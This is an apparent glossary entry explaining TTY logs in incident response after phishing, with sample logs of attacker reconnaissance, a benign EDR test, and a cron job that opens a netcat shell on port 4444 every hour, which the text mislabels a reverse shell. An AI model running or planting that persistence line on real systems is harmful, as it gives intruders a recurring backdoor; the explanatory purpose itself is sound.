What is a TTY Log in Social Engineering?

A TTY log in social engineering is a captured record of command line inputs from an attacker or automated bot during a compromised session, detailing the actions taken by the threat actor.

Why It Matters

TTY logs serve as a critical tool in understanding threat actor behavior during social engineering and phishing campaigns. They offer a detailed account of commands executed on a compromised system, providing insights into the attacker’s methods, tools, and objectives. For operators analyzing a compromised environment, a TTY log acts as a chronological mapping of the attacker’s actions, revealing the specific tactics used to escalate privileges, exfiltrate data, or pivot within a network.

In the realm of phishing and social engineering, TTY logs can be used post-engagement to ascertain the full scope of the attack, particularly if the engagement involves automated scripts or bots on compromised Linux machines. Detecting these logs allows red team operators to demonstrate the level of access an attacker could achieve, personalize training exercises, and refine phishing tactics based on real-world attack data.

In Practice

Consider a situation where a malicious actor has successfully phished credentials to access a company’s database server. Once access is gained, the attacker might execute a series of commands to explore the environment. The TTY log would capture something like:


date

uname -a

ifconfig

whoami

cd /var/log

tail -n 50 syslog

Each line here represents a captured command, showcasing how the attacker gathers information on the system’s operating system, network configuration, current user privileges, and recent log entries, revealing their intention to map the network and gather intelligence.

In another scenario, following a successful phishing attempt, an attacker might use a cron job to establish persistent access. A TTY log from this session could include:


crontab -l

echo "0 * * * * nc -lvp 4444 -e /bin/bash" &gt; mycron

crontab mycron

This portion of the log conveys the attacker’s efforts to maintain a foothold on the system by scheduling a recurring reverse shell.

During a targeted engagement, a red team member might deliberately execute scripted commands to evaluate the effectiveness of endpoint detection systems in logging TTY activities. An example might be:


touch /tmp/test

echo "Testing EDR" &gt; /tmp/test

cat /tmp/test

Here, the log demonstrates benign actions intended to simulate adversarial behavior, providing a metric for balancing offensive capabilities against defensive measures.

Related Terms

Understanding TTY logs also involves familiarity with terms like session hijacking, where attackers take over active sessions, and keylogging, a technique for capturing keyboard inputs. Additionally, rootkit technologies that obfuscate log retention on compromised systems are essential considerations for comprehensive knowledge.

References

ISC Diary: Understanding TTY Logging for Incident Response

Linux.com: Keeping Logs in Linux Bash Shell using Screen

Red Hat: Recording and Analyzing TTY Sessions